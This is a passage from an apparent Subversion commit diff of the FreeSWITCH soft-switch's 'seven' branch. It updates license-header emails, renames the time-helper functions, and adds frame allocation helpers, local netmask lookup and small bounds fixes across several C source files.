  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_scheduler.c -- Switch Scheduler 
@@ -107,7 +107,7 @@
 		if (done) {
 			tp->destroyed = 1;
 		} else {
-			int64_t now = switch_timestamp(NULL);
+			int64_t now = switch_epoch_time_now(NULL);
 			if (now >= tp->task.runtime && !tp->in_thread) {
 				int32_t diff = (int32_t) (now - tp->task.runtime);
 				if (diff > 1) {
@@ -190,7 +190,7 @@
 	switch_zmalloc(container, sizeof(*container));
 	switch_assert(func);
 	container->func = func;
-	container->task.created = switch_timestamp(NULL);
+	container->task.created = switch_epoch_time_now(NULL);
 	container->task.runtime = task_runtime;
 	container->task.group = strdup(group ? group : "none");
 	container->task.cmd_id = cmd_id;
@@ -285,9 +285,11 @@
 	return delcnt;
 }
 
+switch_thread_t *task_thread_p = NULL;
+
 SWITCH_DECLARE(void) switch_scheduler_task_thread_start(void)
 {
-	switch_thread_t *thread;
+
 	switch_threadattr_t *thd_attr;
 
 	switch_core_new_memory_pool(&globals.memory_pool);
@@ -295,7 +297,7 @@
 	switch_mutex_init(&globals.task_mutex, SWITCH_MUTEX_NESTED, globals.memory_pool);
 
 	switch_threadattr_detach_set(thd_attr, 1);
-	switch_thread_create(&thread, thd_attr, switch_scheduler_task_thread, NULL, globals.memory_pool);
+	switch_thread_create(&task_thread_p, thd_attr, switch_scheduler_task_thread, NULL, globals.memory_pool);
 }
 
 SWITCH_DECLARE(void) switch_scheduler_task_thread_stop(void)
@@ -303,8 +305,11 @@
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping Task Thread\n");
 	if (globals.task_thread_running == 1) {
 		int sanity = 0;
+		switch_status_t st;
 
 		globals.task_thread_running = -1;
+		
+		switch_thread_join(&st, task_thread_p);
 
 		while (globals.task_thread_running) {
 			switch_yield(100000);

Modified: freeswitch/branches/seven/src/switch_stun.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_stun.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_stun.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Fanzhou Zhao <fanzhou@gmail.com> 2006-08-22 (Bugfix 2357-2358)
  *
  *
@@ -105,7 +105,7 @@
 
 	max = (int) strlen(set);
 
-	srand((unsigned int) switch_timestamp_now());
+	srand((unsigned int) switch_micro_time_now());
 
 	for (x = 0; x < len; x++) {
 		int j = (int) (max * 1.0 * rand() / (RAND_MAX + 1.0));
@@ -510,7 +510,7 @@
 	}
 	
 	switch_socket_sendto(sock, remote_addr, 0, (void *) packet, &bytes);
-	started = switch_timestamp_now();
+	started = switch_micro_time_now();
 
 	*ip = NULL;
 	*port = 0;
@@ -522,7 +522,7 @@
 			break;
 		}
 
-		if ((elapsed = (unsigned int) ((switch_timestamp_now() - started) / 1000)) > 5000) {
+		if ((elapsed = (unsigned int) ((switch_micro_time_now() - started) / 1000)) > 5000) {
 			*err = "Timeout";
 			switch_socket_shutdown(sock, SWITCH_SHUTDOWN_READWRITE);
 			switch_socket_close(sock);
@@ -549,7 +549,8 @@
 		case SWITCH_STUN_ATTR_MAPPED_ADDRESS:
 			if (attr->type) {
 				if (funny) {
-					((switch_stun_ip_t *) attr->value)->address ^= ntohl(0xabcdabcd);
+					switch_stun_ip_t *tmp = (switch_stun_ip_t *)attr->value;
+					tmp->address ^= ntohl(0xabcdabcd);
 				}
 				switch_stun_packet_attribute_get_mapped_address(attr, rip, &rport);
 			}

Modified: freeswitch/branches/seven/src/switch_swig.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_swig.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_swig.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /*
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  *
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Brian Fertig <brian.fertig@convergencetek.com>
  *
  * php_freeswitch.c -- PHP Module Framework

Modified: freeswitch/branches/seven/src/switch_time.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_time.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_time.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Massimo Cetra <devel@navynet.it> - Timezone functionality
  *
  *
@@ -35,9 +35,9 @@
 #include <stdio.h>
 #include "private/switch_core_pvt.h"
 
-#if defined(DARWIN)
+//#if defined(DARWIN)
 #define DISABLE_1MS_COND
-#endif
+//#endif
 
 #ifndef UINT32_MAX
 #define UINT32_MAX 0xffffffff
@@ -99,11 +99,11 @@
 #endif
 
 #if defined(DARWIN)
-    struct timespec ts;
-    ts.tv_sec = t / APR_USEC_PER_SEC;
-    ts.tv_nsec = (t % APR_USEC_PER_SEC) * 1000;
+	struct timespec ts;
+	ts.tv_sec = t / APR_USEC_PER_SEC;
+	ts.tv_nsec = (t % APR_USEC_PER_SEC) * 1000;
 	
-    nanosleep(&ts, NULL);
+	nanosleep(&ts, NULL);
 	sched_yield();
 #else
 	apr_sleep(t);
@@ -111,15 +111,15 @@
 
 }
 
-SWITCH_DECLARE(switch_time_t) switch_timestamp_now(void)
+SWITCH_DECLARE(switch_time_t) switch_micro_time_now(void)
 {
-	return runtime.timestamp ? runtime.timestamp : switch_time_now();
+	return (globals.RUNNING == 1 && runtime.timestamp) ? runtime.timestamp : switch_time_now();
 }
 
 
-SWITCH_DECLARE(time_t) switch_timestamp(time_t *t)
+SWITCH_DECLARE(time_t) switch_epoch_time_now(time_t *t)
 {
-	time_t now = switch_timestamp_now() / APR_USEC_PER_SEC;
+	time_t now = switch_micro_time_now() / APR_USEC_PER_SEC;
 	if (t) {
 		*t = now;
 	}
@@ -174,7 +174,7 @@
 SWITCH_DECLARE(void) switch_sleep(switch_interval_time_t t)
 {
 
-	if (t < 1000 || t >= 10000) {
+	if (!globals.RUNNING || t < 1000 || t >= 10000) {
 		do_sleep(t);
 		return;
 	}
@@ -195,7 +195,7 @@
 #ifdef DISABLE_1MS_COND
 	do_sleep(1000);
 #else
-	if (!runtime.timestamp || globals.use_cond_yield != 1) {
+	if (globals.RUNNING != 1 || !runtime.timestamp || globals.use_cond_yield != 1) {
 		do_sleep(1000);
 		return;
 	}
@@ -210,7 +210,7 @@
 	switch_time_t want;
 	if (!t) return;
 
-	if (!runtime.timestamp || globals.use_cond_yield != 1) {
+	if (globals.RUNNING != 1 || !runtime.timestamp || globals.use_cond_yield != 1) {
 		do_sleep(t);
 		return;
 	}
@@ -324,7 +324,12 @@
 #else
 	int cond_index = 1;
 #endif
+	int delta = (int)(private_info->reference - TIMER_MATRIX[timer->interval].tick);
 
+	/* sync up timer if it's not been called for a while otherwise it will return instantly several times until it catches up */
+	if (delta < -1) { 
+		private_info->reference = timer->tick = TIMER_MATRIX[timer->interval].tick;
+	}
 	timer_step(timer);
 
 	while (globals.RUNNING == 1 && private_info->ready && TIMER_MATRIX[timer->interval].tick < private_info->reference) {
@@ -553,7 +558,7 @@
 	globals.RUNNING = 0;
 	switch_mutex_unlock(globals.mutex);
 
-	
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Soft timer thread exiting.\n");
 
 	return SWITCH_STATUS_TERM;
 }
@@ -581,8 +586,8 @@
 	xt->tm_wday 	= tm->tm_wday;
 	xt->tm_yday 	= tm->tm_yday;
 	xt->tm_isdst 	= tm->tm_isdst;
-#if !defined(WIN32) && !defined(__SVR4) && !defined(__sun)
 
+#if defined(HAVE_STRUCT_TM_TM_GMTOFF)
 	xt->tm_gmtoff 	= tm->tm_gmtoff;
 #endif
 
@@ -658,7 +663,9 @@
 
 static void event_handler(switch_event_t *event)
 {
+	switch_mutex_lock(globals.mutex);
 	switch_load_timezones(1);
+	switch_mutex_unlock(globals.mutex);
 }
 
 static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp );
@@ -667,12 +674,12 @@
 {
 	struct tm xtm = { 0 };
 	const char *tz_name = tz;
-    const char *tzdef;
+	const char *tzdef;
 	time_t timep;
 	
 	if (!thetime) {
-        thetime = switch_timestamp_now();
-    }
+		thetime = switch_micro_time_now();
+	}
 
 	timep =  (thetime) / (int64_t) (1000000);
 
@@ -707,7 +714,7 @@
 	switch_time_exp_t stm;
 
 	if (!thetime) {
-		thetime = switch_timestamp_now();
+		thetime = switch_micro_time_now();
 	}
 
 	timep =  (thetime) / (int64_t) (1000000);
@@ -760,7 +767,7 @@
 	timer_interface->timer_destroy = timer_destroy;
 
 	/* indicate that the module should continue to be loaded */
-	return SWITCH_STATUS_NOUNLOAD;
+	return SWITCH_STATUS_SUCCESS;
 }
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(softtimer_shutdown)
@@ -788,7 +795,7 @@
 		switch_core_destroy_memory_pool(&TIMEZONES_LIST.pool);
 	}
 
-	return SWITCH_STATUS_NOUNLOAD;
+	return SWITCH_STATUS_SUCCESS;
 }
 
 
@@ -1628,7 +1635,7 @@
 
 	tmp->tm_mday = (int) (days + 1);
 	tmp->tm_isdst = 0;
-#if !defined(WIN32) && !defined(__SVR4) && !defined(__sun)
+#if defined(HAVE_STRUCT_TM_TM_GMTOFF)
 	tmp->tm_gmtoff = offset;
 #endif
 }
@@ -1646,14 +1653,14 @@
 	register const struct ttinfo 	*ttisp;
 
 	if ( tzstring == NULL )
-    	        tzstring = gmt;
+		tzstring = gmt;
 
 	tzptr = (struct state *) malloc(sizeof (struct state));
 	sp = tzptr;
 
 	if (tzptr != NULL) 
 	{
-    
+	
 		memset(tzptr, 0, sizeof(struct state));
 
 		(void) tzparse(tzstring, tzptr, FALSE);
@@ -1674,7 +1681,7 @@
 		}
 		ttisp = &sp->ttis[i];
 
-    		/*
+		/*
 		    To get (wrong) behavior that's compatible with System V Release 2.0
 		    you'd replace the statement below with
 		    t += ttisp->tt_gmtoff;
@@ -1684,7 +1691,7 @@
 		{
 	    		timesub( &t, ttisp->tt_gmtoff, sp, tmp);
 			tmp->tm_isdst = ttisp->tt_isdst;
-#if !defined(WIN32) && !defined(__SVR4) && !defined(__sun)
+#if defined(HAVE_STRUCT_TM_TM_ZONE)
 			tmp->tm_zone = &sp->chars[ttisp->tt_abbrind];
 #endif
 		}

Modified: freeswitch/branches/seven/src/switch_utils.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_utils.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_utils.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Juan Jose Comellas <juanjo@comellas.org>
  *
  *
@@ -44,6 +44,7 @@
 	uint32_t bits;
 	switch_bool_t ok;
 	char *token;
+	char *str;
 	struct switch_network_node *next;
 };
 typedef struct switch_network_node switch_network_node_t;
@@ -52,17 +53,76 @@
 	struct switch_network_node *node_head;
 	switch_bool_t default_type;
 	switch_memory_pool_t *pool;
+	char *name;
 };
 
 #ifndef WIN32
-int switch_inet_pton(int af, const char *src, void *dst)
+SWITCH_DECLARE(int) switch_inet_pton(int af, const char *src, void *dst)
 {
 	return inet_pton(af, src, dst);
 }
 #endif
 
-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, switch_bool_t default_type, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_frame_alloc(switch_frame_t **frame, switch_size_t size)
 {
+	switch_frame_t *new_frame;
+
+	switch_zmalloc(new_frame, sizeof(*new_frame));
+
+	switch_set_flag(new_frame, SFF_DYNAMIC);
+	new_frame->buflen = size;
+	new_frame->data = malloc(size);
+	switch_assert(new_frame->data);
+
+	*frame = new_frame;
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+SWITCH_DECLARE(switch_status_t) switch_frame_dup(switch_frame_t *orig, switch_frame_t **clone)
+{
+	switch_frame_t *new_frame;
+
+	if (!orig) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	switch_assert(orig->buflen);
+
+	new_frame = malloc(sizeof(*new_frame));
+
+	switch_assert(new_frame);
+	
+	*new_frame = *orig;
+	switch_set_flag(new_frame, SFF_DYNAMIC);
+
+	new_frame->data = malloc(new_frame->buflen);
+	switch_assert(new_frame->data);
+
+	memcpy(new_frame->data, orig->data, orig->datalen);
+	new_frame->codec = NULL;
+	
+	*clone = new_frame;
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_frame_free(switch_frame_t **frame)
+{
+	if (!frame || !*frame || !switch_test_flag((*frame), SFF_DYNAMIC)) {
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	switch_safe_free((*frame)->data);
+	free(*frame);
+	*frame = NULL;
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool)
+{
 	switch_network_list_t *new_list;
 
 	if (!pool) {
@@ -72,6 +132,7 @@
 	new_list = switch_core_alloc(pool, sizeof(**list));
 	new_list->pool = pool;
 	new_list->default_type = default_type;
+	new_list->name = switch_core_strdup(new_list->pool, name);
 
 	*list = new_list;
 
@@ -118,6 +179,7 @@
 	node->mask = mask;
 	node->ok = ok;
 	node->bits = bits;
+	node->str = switch_core_strdup(list->pool, cidr_str);
 
 	if (!switch_strlen_zero(token)) {
 		node->token = switch_core_strdup(list->pool, token);
@@ -139,15 +201,16 @@
 
 	node = switch_core_alloc(list->pool, sizeof(*node));
 
-	node->ip = ip;
-	node->mask = mask;
+	node->ip = ntohl(ip);
+	node->mask = ntohl(mask);
 	node->ok = ok;
 
 	/* http://graphics.stanford.edu/~seander/bithacks.html */
 	mask = mask - ((mask >> 1) & 0x55555555);
 	mask = (mask & 0x33333333) + ((mask >> 2) & 0x33333333);
 	node->bits = (((mask + (mask >> 4)) & 0xF0F0F0F) * 0x1010101) >> 24;
-
+	node->str = switch_core_sprintf(list->pool, "%s:%s", host, mask_str);
+	
 	node->next = list->node_head;
 	list->node_head = node;
 
@@ -210,7 +273,7 @@
 		}
 	}
 
-	return (char *) e;
+	return (e && *e == close) ? (char *) e : NULL;
 }
 
 SWITCH_DECLARE(switch_size_t) switch_fd_read_line(int fd, char *buf, switch_size_t len)
@@ -377,7 +440,7 @@
 	unsigned char in[B64BUFFLEN];
 	unsigned char out[B64BUFFLEN + 512];
 
-	switch_snprintf(filename, 80, "%smail.%d%04x", SWITCH_GLOBAL_dirs.temp_dir, (int) switch_timestamp(NULL), rand() & 0xffff);
+	switch_snprintf(filename, 80, "%smail.%d%04x", SWITCH_GLOBAL_dirs.temp_dir, (int) switch_epoch_time_now(NULL), rand() & 0xffff);
 
 	if ((fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644))) {
 		if (file) {
@@ -516,9 +579,9 @@
 		)? SWITCH_FALSE : SWITCH_TRUE;
 }
 
-SWITCH_DECLARE(switch_bool_t) switch_ast2regex(char *pat, char *rbuf, size_t len)
+SWITCH_DECLARE(switch_bool_t) switch_ast2regex(const char *pat, char *rbuf, size_t len)
 {
-	char *p = pat;
+	const char *p = pat;
 
 	if (!pat) {
 		return SWITCH_FALSE;
@@ -627,6 +690,10 @@
 	const char *p;
 	switch_bool_t r = SWITCH_TRUE;
 
+	if (*str == '-' || *str == '+') {
+		str++;
+	}
+
 	for (p = str; p && *p; p++) {
 		if (!(*p == '.' || (*p > 47 && *p < 58))) {
 			r = SWITCH_FALSE;
@@ -677,8 +744,130 @@
 	return NULL;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_find_local_ip(char *buf, int len, int family)
+#ifdef HAVE_GETIFADDRS
+#include <ifaddrs.h>
+static int get_netmask(struct sockaddr_in *me, int *mask)
 {
+	struct ifaddrs *ifaddrs, *i = NULL;
+
+	if (!me || getifaddrs(&ifaddrs) < 0) {
+		return -1;
+	}	
+
+	for(i = ifaddrs; i; i = i->ifa_next) {
+		struct sockaddr_in *s = (struct sockaddr_in *)i->ifa_addr;
+		struct sockaddr_in *m = (struct sockaddr_in *)i->ifa_netmask;
+
+		if (s && m && s->sin_addr.s_addr == me->sin_addr.s_addr) {
+			*mask = m->sin_addr.s_addr;
+			freeifaddrs(ifaddrs);
+			return 0;
+		}
+	}
+	
+	freeifaddrs(ifaddrs);
+	
+	return -2;
+}
+#elif defined(__linux__)
+
+#include <sys/ioctl.h>
+#include <net/if.h>
+static int get_netmask(struct sockaddr_in *me, int *mask)
+{
+
+	static struct ifreq ifreqs[20] = { {{{0}}} };
+	struct ifconf ifconf;
+	int  nifaces, i;
+	int sock;
+	int r = -1;
+	
+	memset(&ifconf,0,sizeof(ifconf));
+	ifconf.ifc_buf = (char*) (ifreqs);
+	ifconf.ifc_len = sizeof(ifreqs);
+	
+
+	if ((sock = socket(AF_INET,SOCK_STREAM, 0)) < 0) {
+		goto end;
+	}
+
+	if (ioctl(sock, SIOCGIFCONF, (char *) &ifconf) < 0) {
+		goto end;
+	}
+
+	nifaces = ifconf.ifc_len / sizeof(struct ifreq);
+
+	for(i = 0; i < nifaces; i++) {
+		struct sockaddr_in *sin = NULL;
+		struct in_addr ip;
+
+		ioctl(sock, SIOCGIFADDR, &ifreqs[i]);
+		sin = (struct sockaddr_in *)&ifreqs[i].ifr_addr;
+		ip = sin->sin_addr;
+
+		if (ip.s_addr == me->sin_addr.s_addr) {
+			ioctl(sock, SIOCGIFNETMASK, &ifreqs[i]);
+			sin = (struct sockaddr_in *)&ifreqs[i].ifr_addr;
+			//mask = sin->sin_addr;
+			*mask = sin->sin_addr.s_addr;
+			r = 0;
+			break;
+		}
+
+	}
+	
+ end:
+	
+	close(sock);
+	return r;
+
+}
+
+#elif defined(WIN32)
+
+static int get_netmask(struct sockaddr_in *me, int *mask)
+{
+	SOCKET sock = WSASocket(AF_INET, SOCK_DGRAM, 0, 0, 0, 0);
+	INTERFACE_INFO interfaces[20];
+	unsigned long bytes;
+	int interface_count, x;
+
+	*mask = 0;
+
+	if (sock == SOCKET_ERROR) {
+		return -1;
+	}
+
+	if (WSAIoctl(sock, SIO_GET_INTERFACE_LIST, 0, 0, &interfaces, sizeof(interfaces), &bytes, 0, 0) == SOCKET_ERROR) {
+		return -1;
+	}
+
+    interface_count = bytes / sizeof(INTERFACE_INFO);
+
+	for (x = 0; x < interface_count; ++x) {
+		struct sockaddr_in *addr = (struct sockaddr_in *) & (interfaces[x].iiAddress);
+
+		if (addr->sin_addr.s_addr == me->sin_addr.s_addr) {
+			struct sockaddr_in *netmask = (struct sockaddr_in *) & (interfaces[x].iiNetmask);
+			*mask = netmask->sin_addr.s_addr;
+			break;
+		}
+    }
+
+	return 0;
+}
+
+#else
+
+static int get_netmask(struct sockaddr_in *me, int *mask)
+{
+	return -1;
+}
+
+#endif
+
+SWITCH_DECLARE(switch_status_t) switch_find_local_ip(char *buf, int len, int *mask, int family)
+{
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	char *base;
 
@@ -700,7 +889,6 @@
 	if (len < 16) {
 		return status;
 	}
-
 	
 	switch (family) {
 	case AF_INET:
@@ -732,13 +920,15 @@
 		return status;
 	}
 
+
 	closesocket(tmp_socket);
 	freeaddrinfo(address_info);
 
 	if (!getnameinfo((const struct sockaddr *) &l_address, l_address_len, buf, len, NULL, 0, NI_NUMERICHOST)) {
-
-		status = SWITCH_STATUS_SUCCESS;
-
+		status = SWITCH_STATUS_SUCCESS;	
+		if (mask) {
+			get_netmask((struct sockaddr_in *) &l_address, mask);
+		}
 	}
 #else
 
@@ -774,6 +964,10 @@
 			}
 
 			switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr*)&iface_out, sizeof(iface_out)), len);
+			if (mask) {
+				get_netmask((struct sockaddr_in*)&iface_out, mask);
+			}
+
 			status = SWITCH_STATUS_SUCCESS;
 		}
 		break;
@@ -828,7 +1022,7 @@
 	switch_time_t ret = 0;
 	char *pattern = "^(\\d+)-(\\d+)-(\\d+)\\s*(\\d*):{0,1}(\\d*):{0,1}(\\d*)";
 
-	switch_time_exp_lt(&tm, switch_timestamp_now());
+	switch_time_exp_lt(&tm, switch_micro_time_now());
 	tm.tm_year = tm.tm_mon = tm.tm_mday = tm.tm_hour = tm.tm_min = tm.tm_sec = 0;
 
 	if ((proceed = switch_regex_perform(in, pattern, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
@@ -886,9 +1080,7 @@
 
 static char RFC2833_CHARS[] = "0123456789*#ABCDF";
 
-#ifndef _MSC_VER
-#define switch_inet_ntop inet_ntop
-#else
+#ifdef _MSC_VER
 /* Copyright (c) 1996 by Internet Software Consortium.
  *
  * Permission to use, copy, modify, and distribute this software for any
@@ -931,7 +1123,7 @@
  * author:
  *	Paul Vixie, 1996.
  */
-const char *switch_inet_ntop(int af, void const *src, char *dst, size_t size)
+SWITCH_DECLARE(const char *) switch_inet_ntop(int af, void const *src, char *dst, size_t size)
 {
 
 	switch (af) {
@@ -1100,16 +1292,17 @@
 									 int flags)
 {
 	char host[NI_MAXHOST], serv[NI_MAXSERV];
-	struct sockaddr_storage ss;
+	struct sockaddr_in6 si6;
 	const struct sockaddr *addr;
 	const char *colon;
 
 	if (flags & SWITCH_URI_NO_SCOPE && sa->family == AF_INET6) {
-		memcpy(&ss, &sa->sa, sa->salen);
-		((struct sockaddr_in6*) &ss)->sin6_scope_id = 0;
-		addr = (const struct sockaddr*) &ss;
+		memcpy(&si6, &sa->sa, sa->salen);
+		si6.sin6_scope_id = 0;
+
+		addr = (const struct sockaddr*) &si6;
 	} else {
-		addr = (const struct sockaddr*) &sa->sa;
+		addr = (const struct sockaddr*) (intptr_t)&sa->sa;
 	}
 
 	if (getnameinfo(addr, sa->salen, host, sizeof(host), serv, sizeof(serv),
@@ -1475,7 +1668,7 @@
 			break;
 		}
 		if (*p < ' ' || *p > '~' || strchr(urlunsafe, *p)) {
-			if ((x + 3) >= len) {
+			if ((x + 3) > len) {
 				break;
 			}
 			buf[x++] = '%';
@@ -1495,6 +1688,10 @@
 	char *o;
 	unsigned int tmp;
 
+	if (switch_strlen_zero(s)) {
+		return s;
+	}
+
 	for (o = s; *s; s++, o++) {
 		if (*s == '%' && strlen(s) > 2 && sscanf(s + 1, "%2x", &tmp) == 1) {
 			*o = (char) tmp;
@@ -1752,6 +1949,47 @@
 	return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_N|_X)));
 }
 
+SWITCH_DECLARE(int) switch_number_cmp(const char *exp, int val)
+{
+    char *p;
+	
+    if ((p=strchr(exp, '-'))) {
+        int min;
+        int max;
+
+        min = atol(exp);
+        p++;
+        max = atol(p);
+
+        if (val >= min && val <= max) {
+            return 1;
+        }
+    } else if ((p=strchr(exp, ','))) {
+        const char *cur = exp;
+		p++;
+        while(cur) {
+            if (atol(cur) == val) {
+                return 1;
+            }
+			
+            cur = p;
+			if (p && p+1) {
+				if ((p = strchr((p+1), ','))) {
+					p++;
+				}
+			}
+        }
+    } else {
+        if (atol(exp) == val) {
+            return 1;
+        }
+    }
+
+    return 0;
+
+}
+
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/switch_xml.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_xml.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_xml.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Simon Capper <skyjunky@sbcglobal.net>
  *
  *
@@ -73,27 +73,27 @@
 } glob_t;
 
 /* Believed to have been introduced in 1003.2-1992 */
-#define	GLOB_APPEND	0x0001	/* Append to output from previous call. */
-#define	GLOB_DOOFFS	0x0002	/* Use gl_offs. */
-#define	GLOB_ERR	0x0004	/* Return on error. */
-#define	GLOB_MARK	0x0008	/* Append / to matching directories. */
+#define	GLOB_APPEND		0x0001	/* Append to output from previous call. */
+#define	GLOB_DOOFFS		0x0002	/* Use gl_offs. */
+#define	GLOB_ERR		0x0004	/* Return on error. */
+#define	GLOB_MARK		0x0008	/* Append / to matching directories. */
 #define	GLOB_NOCHECK	0x0010	/* Return pattern itself if nothing matches. */
-#define	GLOB_NOSORT	0x0020	/* Don't sort. */
+#define	GLOB_NOSORT		0x0020	/* Don't sort. */
 
 /* Error values returned by glob(3) */
 #define	GLOB_NOSPACE	(-1)	/* Malloc call failed. */
 #define	GLOB_ABORTED	(-2)	/* Unignored error. */
 #define	GLOB_NOMATCH	(-3)	/* No match and GLOB_NOCHECK was not set. */
-#define	GLOB_NOSYS	(-4)	/* Obsolete: source comptability only. */
+#define	GLOB_NOSYS		(-4)	/* Obsolete: source comptability only. */
 
 #define	GLOB_ALTDIRFUNC	0x0040	/* Use alternately specified directory funcs. */
 #define	GLOB_MAGCHAR	0x0100	/* Pattern had globbing characters. */
 #define	GLOB_NOMAGIC	0x0200	/* GLOB_NOCHECK without magic chars (csh). */
-#define	GLOB_QUOTE	0x0400	/* Quote special chars with \. */
-#define	GLOB_LIMIT	0x1000	/* limit number of returned paths */
+#define	GLOB_QUOTE		0x0400	/* Quote special chars with \. */
+#define	GLOB_LIMIT		0x1000	/* limit number of returned paths */
 
 int	glob(const char *, int, int (*)(const char *, int), glob_t *);
-void	globfree(glob_t *);
+void globfree(glob_t *);
 
 #endif
 #undef HAVE_MMAP
@@ -104,29 +104,29 @@
 #endif
 #endif
 
-#define SWITCH_XML_WS   "\t\r\n "	// whitespace
-#define SWITCH_XML_ERRL 128		// maximum error string length
+#define SWITCH_XML_WS   "\t\r\n "	/* whitespace */
+#define SWITCH_XML_ERRL 128			/* maximum error string length */
 
